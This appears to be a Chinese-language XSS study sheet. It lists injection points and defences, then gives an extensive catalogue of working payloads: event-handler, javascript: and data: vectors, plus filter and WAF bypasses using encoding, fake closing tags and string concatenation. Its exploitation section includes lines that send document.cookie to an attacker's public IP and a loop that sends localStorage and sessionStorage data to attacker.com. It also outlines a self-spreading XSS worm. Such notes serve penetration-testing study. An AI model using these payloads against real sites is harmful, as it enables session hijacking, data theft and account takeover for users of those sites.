-- 简介 --
简介
- 原理: html/js存在用户可控制的部分, 导致可通过构造, 使得在用户浏览器中执行恶意js脚本
- 常见功能点: 文件上传 jsonp的callback函数 富文本编辑器 用户名 用户资料/信息 评论区/聊天框 备注 后台配置项(网站标题 Logo链接等) 搜索框(以下是"xxx"的搜索结果) 报错("xxx"输入存在错误/敏感字符)
- 防御(防止漏洞出现):
- 输出编码 (HTML实体编码 Js编码 URL编码)
- 黑名单 (过滤伪协议, js敏感函数, 危险标签, 危险属性)
- 白名单格式 (如用户名仅允许 数字+字母+下划线)
- 设置CSP策略(可限制脚本来源 限制内联脚本-nonce/hash授权 禁止危险函数-如eval/new Function)
- 输入长度控制(更难构造payload)
- cookie的httponly属性设为true(可防止通过js读取cookie)
- 特殊场景防御
- 富文本: 白名单标签(禁止危险标签 如script/iframe), 白名单属性(禁止危险属性 如各种事件属性), 黑名单(伪协议, js危险函数)
- 文件上传: 白名单后缀名(非必要禁止上传 .html .htm .svg .xml .pdf) MIME校验 文件头校验
- jsonp: js编码, 回调函数只允许包含 字母 数字 下划线, 仅传递标识(如数字id)来指定函数 而非直接传递函数名
- 危害:
- 盗取用户Cookie
- 盗取用户输入/返回的敏感信息
- 挂广告/自动跳转广告页面/篡改页面从而劫持页面
- 配合CSRF, 让用户完成各种操作
- 让用户隐式访问别的网站造成DDOS
- 会话固定(让用户带有指定cookie进行登录, 从而用该cookie对账号进行接管)
- 蠕虫传播
- 病毒下载
- 本地RCE(旧版本浏览器)
漏洞场景
功能点探测
- 文件上传: 文件上传导致xss
- 评论区/聊天框特殊: 有些聊天框会自动将 将url转化为超链接 (待定)
- 普通场景: 用户名/用户资料/信息 备注 后台配置项(网站标题/Logo链接等) 后台日志 搜索框(以下是"xxx"的搜索结果) 报错("xxx"输入存在错误/敏感字符)
工具自动化探测
- 反射型XSS: 通过查看参数值/请求头字段 是否会包含在响应中判断
- DOM型XSS: 通过burpsuite的被动扫描dom自动化审计判断
漏洞利用
- 攻击扩大(不考虑过滤的情况下)
- 跳转恶意页面: 可直接尝试
- 获取cookie: 当cookie不为httponly, 可尝试获取cookie
- 获取localStorage/sessionStorage: 当localStorage/sessionStorage中存储了敏感数据时, 可进行尝试
- csrf: 当存在鉴权的功能点, 可尝试用xss进行访问, 从而获取/篡改数据
- 蠕虫攻击: 当存在 存储型xss+该xss可用外联脚本+注入点关联个人账号(比如个人信息/发帖等), 可尝试蠕虫攻击
-- 漏洞 --
可利用html标签 (攻击payload)
- 类型: 远程包含文件可包含文件的标签: script iframe
<!--远程包含js文件-->
<script src="http://127.0.0.1/1.js"></script>
<!--远程包含html文件-->
<iframe src="http://127.0.0.1/1.html"></iframe>
- 类型: 事件触发js代码
- 事件属性(基本通用):
onmouseover-鼠标悬浮在元素上时触发 onmouseout-鼠标离开元素时触发 onselect-选中文本时触发 onkeydown-按下键盘按钮触发 onkeyup-松开键盘按钮时触发 onclick-点击触发 ondblclick-双击元素时触发 - 事件属性(部分可用)
属性: onerror-加载失败触发 onload-加载成功触发 onabort-加载中断触发(难触发)
可用标签: img/iframe/script/link/embed/video/audio(对应src属性的加载) body(对应整个页面所有资源的加载) object(对应data属性的加载) svg(对应svg元素自身的加载)
属性: onfocus-输入框获取焦点触发 onblur-输入框失去焦点触发 oninput-输入框输入内容时触发 onchange-输入框值改变并失去焦点触发 autofocus-页面打开时自动获取焦点(全页面只有第一个autofocus会生效)
可用标签: input textarea select button a(需设置href)
属性: oncontentvisibilityautostatechange-元素参与content-visibility状态切换时触发
可用标签: 所有可以渲染 显示在页面上的标签(即除了script link style等)
- 事件属性(基本通用):
<!--可使用onerror/onabort/onload的标签-->
onload直接触发
<iframe onload=alert(1);></iframe>
<script onload=alert(1);></script>
<body onload=alert(1);>
<svg onload=alert(1);>
<embed src=1 onload=alert(1)> <!--需包含src属性(值任意)-->
onerror触发(使用正确的src/rel/href/data标签即可使用onload事件)
<img src=1 onerror=alert(1);> <!--需包含任意src属性-->
<link rel=stylesheet href=1 onerror=alert(1)> <!--必须包含正确的rel和错误的href属性-->
<video><source onerror=alert(1)> <!--需配合source标签-->
<audio src=1 onerror=alert(1);> <!--需包含src属性(值任意)-->
<object data=1 onerror=alert(1);> <!--需包含data属性(值任意)-->
<!--可使用onfocus/onblur/oninput/onchange/autofocus的标签(input标签演示)-->
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus> <!--需点击输入框以外地方-->
<input onfocus=alert(1);> <!--需点击输入框-->
<input onblur=alert(1);> <!--需点击输入框,并点击输入框以外地方-->
<input oninput=alert(1);> <!--需点击输入框,并输入-->
<input onchange=alert(1);> <!--需点击输入框,并输入以后,点击输入框以外地方-->
其它(这里只演示onfocus搭配autofocus,还可使用类似上面的搭配)
<textarea onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus></select>
<button onfocus=alert(1) autofocus></button>
<a href= onfocus=alert(1) autofocus></a> <!--需包含href属性-->
<!-- 可使用oncontentvisibilityautostatechange -->
<a style=content-visibility:auto oncontentvisibilityautostatechange=alert(1)>
<h style=content-visibility:auto oncontentvisibilityautostatechange=alert(1)>
... (除了script/link/style外的几乎所有标签)
<!--其它-->
<details open ontoggle=alert(1);> //有open属性可自动触发,没有则要点击细节栏
<body onscroll=alert(1);> //滚动触发
<details ontoggle=alert(1);> //要点击细节栏
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<div oncontextmenu=alert(1);>右键点我</div> //需要右键点击元素
<svg onmousewheel=alert(1)> //需要滚动元素
<form onreset=alert(1)><input type=reset></form> //需点击重置按钮
- 类型: js伪协议 (注: js伪协议只能用在 部分可使用url作为值的属性中) 可利用标签: iframe/a/form
<iframe src=javascript:alert(1);></iframe>
<a href=javascript:alert(1);>xxx</a> <!--要点击xxx字符串-->
<form action=Javascript:alert(1)><input type=submit> <!--要点提交按钮-->
- 类型: data伪协议可利用标签: iframe/script/
<script src="data:,alert%28%2Fxss%2F%29"></script>
<script src="data:;base64,YWxlcnQoL3hzcy8p"></script>
<iframe src="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<object data="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<embed src="data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
- 其它
<!--script标签直接执行-->
<script>alert(1);</script>
<!--iframe的srcdoc属性 可直接设置其内部HTML内容-->
<iframe srcdoc="<script>alert(1)<script>"></iframe>
利用 (攻击payload)
- 可利用项
document.cookie // 用于js获取当前网页的cookie值,还可设置cookie造成会话固定
location.href // 用于获取当前页面地址链接,设置该项的值可进行页面跳转
location.assign(url) // 用于进行页面跳转
location.replace(url) // 用于进行页面的跳转(无法回退)
window.open(url) // 用于打开新窗口
- 跳转恶意页面
location.href='http://xxx/xxx'
location.assign('http://xxx/xxx')
location.replace('http://xxx/xxx')
window.open('http://xxx/xxx')
<meta http-equiv="refresh" content="0;url=http://xxx/xxx">
- 获取cookie
location.href='http://你的公网ip:端口号/?'+document.cookie
location.assign('http://你的公网ip:端口号/?'+document.cookie)
location.replace('http://你的公网ip:端口号/?'+document.cookie)
window.open('http://你的公网ip:端口号/?'+document.cookie)
通过XMLHttpRequest/fetch
通过动态创建资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问
- 获取localStorage/sessionStorage
// 遍历localStorage存储项
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
// 发送数据
new Image().src = `http://attacker.com/?s=${key}=${value}`
}
// 遍历sessionStorage存储项
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
const value = sessionStorage.getItem(key);
// 发送数据到攻击者服务器
new Image().src = `http://attacker.com/?s=${key}=${value}`;
}
- csrf
用资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问 造成GET请求
利用csrf的poc
配合XMLHttpRequest/fetch 造成GET/POST等请求
配合动态创建资源标签(img/iframe/script/link/embed/video/audio标签),并用其src属性进行访问 4造成GET/POST等请求
- 蠕虫攻击简介: 通过xss以类似csrf的方式来传播xss payload的攻击手法(如通过xss让访问的用户将xss payload写入个人简介)
<script src=http://xxx/xxx>
script的内容是csrf写入脚本的poc
DOM型XSS (另类攻击点)
- 简介:当用户可控输入 未过滤未过滤/转义 最终传入危险DOM/JS的API 就可能造成脚本执行 (全程不经过后端)
- 用户可控的变量URL相关:
location.search(查询参数)、location.hash(锚点)、location.pathname(路径); 存储类:localStorage、sessionStorage、cookie(尤其是前端可读写的 cookie); 交互类:输入框(input、textarea)、下拉框(select)、单选框(radio)、文件上传文件名(前端读取); 其他:window.name、document.referrer(Referer 头的前端读取) - 危险API解析HTML的API:
innerHTML/outerHTML/document.write()(innerText/textContent会自动将HTML标签自动转义, 解析为普通文本) 执行js的API:eval()/setTimeout(string)/Function(string)特殊的操作:location.href/document.cookie - 探测: 通过burpsuite的被动扫描可以自动化探测
- 防御: 防止用户可以操控这些值, 若可以操控, 则需要进行实体/js编码
XSS RCE
- XSS RCE这方面之后再去讨论
-- 过滤绕过 --
特定字符过滤绕过
- 空格过滤绕过:
- 用
/或/**/或%09代替 - 利用引号(标签中选项的值若用引号包裹, 则无需与其它选项用空格隔开)
- 用
- 引号过滤绕过:
- 使用反引号代替(仅js, js中的字符串中引号可用反引号代替)
- 不用引号(html中选项对应的值可无需引号包裹)
- 使用
String.fromCharCode(<ASCII码>,...)方法创建字符串
- 点过滤: 使用中括号来引用属性/方法
-- 空格过滤绕过 ---
<input/onfocus=alert(1);>
<input/**/onfocus=alert(1);>
<input/type='text'onfocus=alert(1);>
注:若事件选项对应的js代码没有用引号包裹,则不能用/和/**/与后续html选项隔开,因为若这样做系统会直接将后续内容也当作js代码的一部分,所以要不将后续的选项移到前面来,要不加上引号或其它空白符来截断 系统认定为js代码的 范围
-- 引号过滤绕过 --
<input type=text onfocus=alert(1);>
<input type="text" onfocus=alert(`hello`);>
<input type="text" onfocus=alert(String.fromCharCode(104,101,108,108,111));>
-- 点过滤 --
<input type=text onfocus=alert(document['cookie']);>
关键字过滤(标签/属性)
- 大小写绕过(标签及选项对大小写不敏感)
- 假闭合
>放入属性值中, 让waf以为标签已闭合, 可绕过 不过滤对应标签, 而检测对应标签内是否有危险属性、内容的waf 注: >必须使用引号包裹, 不然真的会闭合 - 内部文本标签假不闭合 使用内部会被当成纯文本而不会解析标签, 这样的标签有
title/textarea/xmp/style/noscript开始标签放最前, 结束标签放属性值中, 让waf以为这标签没闭合, 以为后续不会解析, 从而绕过 - 多尖括号绕过 基于浏览器特性, 其会以最后一个
<作为标签的开始标志, 可绕过精确匹配标签格式的waf - 杂属性绕过 让标签加上杂属性, 可绕过精确匹配标签格式的waf
- 等号两边空白符
属性=属性值的等号两边可以插入任意空白符(空格 制表符 换行符), 而不影响解析
-- 大小写绕过(标签名/属性名) --
<iNPuT oNfOCus="alert(1);">
-- 假闭合(属性名/属性值/其它内容) --
<iframe x=">" src=javascript:alert(1);></iframe>
-- 优先级标签(标签名/属性名/属性值/其它内容) --
<title><img src=</title>><img src=x onerror="alert(`xss`);">
<textarea><img x=</textarea>><img src=1 onerror="alert(`xss`);">
<xmp><img x=</xmp>><img src=1 onerror="alert(`xss`);">
<style><img src=</style>><img src=1 onerror="alert(`xss`);">
<noscript><img x=</noscript>><img src=1 onerror="alert(`xss`);">
//因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
-- 多尖括号(标签名) --
<<script>alert("xss");<</script>
-- 杂属性绕过(标签名) --
<script ttt=aaa bbb=ccc>alert(1)</script>
-- 等号两边空白符(属性名) --
<input onfocus =
"alert(1);">
关键字过滤(js/属性值)
- 编码绕过
- 拼接字符串, 再用eval()函数执行, 或者在中括号中用于引用属性/方法(所有的函数都是window对象的方法)
- 假注释(让waf以为后面js已注释, 可绕过对js的检测)
-- 编码绕过(属性值) --
实体编码 (html可识别被实体编码的选项值, script中不行)
<input onfocus=alert('hi');>
<input onfocus="alert(2)">
<!-- script中无法执行 --> <script>alert(1)</script>
通过伪协议编码(仅限用于可填url的选项)
<iframe src="data:text/html,url编码"></iframe>
<iframe src="data:text/html;base64,base64编码"></iframe>
-- 编码绕过(js) --
url编码/ascii编码/base64编码 配合eval和对应解码函数
<input onfocus="eval(unescape('url编码'))"> <!-- url编码 -->
<input onfocus="eval(String.fromCharCode(<ascii码>,...))"> <!-- Ascii编码 -->
<input onfocus="eval(atob('base64编码'))"> <!-- base64编码 -->
Unicode编码(\u)/hex编码(\x) 配合eval函数(js能自动解析包含这两种编码的字符串)
<input onfocus=eval('Unicode编码或hex编码')>
--- 拼接绕过(js) --
<input onfocus="a='ale';b='rt';c='(1)';eval(a+b+c)";>
<input onfocus=window["ev"+"al"]("ale"+"rt(1)")>
<input onfocus=window["al"+"ert"](document["co"+"okie"]);>
-- 假注释(js) --
<input onfocus="a='//';alert(1);">
alert(1)
强强强